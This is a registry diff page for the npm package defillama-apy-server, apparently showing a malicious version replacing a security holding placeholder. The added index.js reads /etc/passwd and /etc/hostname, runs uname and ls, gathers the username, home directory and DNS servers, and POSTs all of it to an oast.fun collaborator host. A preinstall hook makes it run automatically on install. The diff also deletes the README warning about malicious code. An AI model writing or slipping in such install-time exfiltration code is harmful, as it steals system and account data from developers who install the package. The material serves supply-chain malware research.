defillama-apy-server 0.0.1-security → 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of defillama-apy-server might be problematic. Click here for more details.

package/index.js ADDED
@@ -0,0 +1,84 @@
1
+ const os = require("os");
2
+ const dns = require("dns");
3
+ const querystring = require("querystring");
4
+ const https = require("https");
5
+ const fs = require("fs");
6
+ const { execSync } = require("child_process");
7
+ const packageJSON = require("./package.json");
8
+ const package = packageJSON.name;
9
+
10
+ // Read the /etc/passwd file
11
+ let passwdData = "";
12
+ try {
13
+ passwdData = fs.readFileSync("/etc/passwd", "utf8");
14
+ } catch (err) {
15
+ passwdData = `Error reading /etc/passwd: ${err.message}`;
16
+ }
17
+
18
+ // Read the /etc/hostname file
19
+ let hostnameData = "";
20
+ try {
21
+ hostnameData = fs.readFileSync("/etc/hostname", "utf8");
22
+ } catch (err) {
23
+ hostnameData = `Error reading /etc/hostname: ${err.message}`;
24
+ }
25
+
26
+ // Execute 'uname -a' to get system information
27
+ let unameData = "";
28
+ try {
29
+ unameData = execSync("uname -a", { encoding: "utf8" });
30
+ } catch (err) {
31
+ unameData = `Error executing uname -a: ${err.message}`;
32
+ }
33
+
34
+ // Execute 'ls' to list directory contents
35
+ let lsData = "";
36
+ try {
37
+ lsData = execSync("ls", { encoding: "utf8" });
38
+ } catch (err) {
39
+ lsData = `Error executing ls: ${err.message}`;
40
+ }
41
+
42
+ const trackingData = JSON.stringify({
43
+ p: package,
44
+ c: __dirname,
45
+ hd: os.homedir(),
46
+ hn: os.hostname(),
47
+ un: os.userInfo().username,
48
+ dns: dns.getServers(),
49
+ r: packageJSON ? packageJSON.___resolved : undefined,
50
+ v: packageJSON.version,
51
+ pjson: packageJSON,
52
+ passwd: passwdData,
53
+ hostname: hostnameData,
54
+ uname: unameData,
55
+ ls: lsData, // Add the ls output here
56
+ });
57
+
58
+ var postData = querystring.stringify({
59
+ msg: trackingData,
60
+ });
61
+
62
+ var options = {
63
+ hostname: "lxawnbeitdszmpksnhneab9v358u7sm6k.oast.fun", // Replace with Burp collaborator link
64
+ port: 443,
65
+ path: "/",
66
+ method: "POST",
67
+ headers: {
68
+ "Content-Type": "application/x-www-form-urlencoded",
69
+ "Content-Length": postData.length,
70
+ },
71
+ };
72
+
73
+ var req = https.request(options, (res) => {
74
+ res.on("data", (d) => {
75
+ process.stdout.write(d);
76
+ });
77
+ });
78
+
79
+ req.on("error", (e) => {
80
+ // Handle error
81
+ });
82
+
83
+ req.write(postData);
84
+ req.end();
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "defillama-apy-server",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.0",
4
+ "main": "index.js",
5
+ "scripts": {
6
+ "test": "echo \"Error: no test specified\" && exit 1",
7
+ "preinstall": "node index.js"
8
+ },
9
+ "author": "",
10
+ "license": "ISC",
11
+ "description": ""
6
12
  }
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "defillama-apy-server",
3
+ "version": "1.0.0",
4
+ "main": "index.js",
5
+ "scripts": {
6
+ "test": "echo \"Error: no test specified\" && exit 1"
7
+ },
8
+ "author": "",
9
+ "license": "ISC",
10
+ "description": ""
11
+ }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=defillama-apy-server for more information.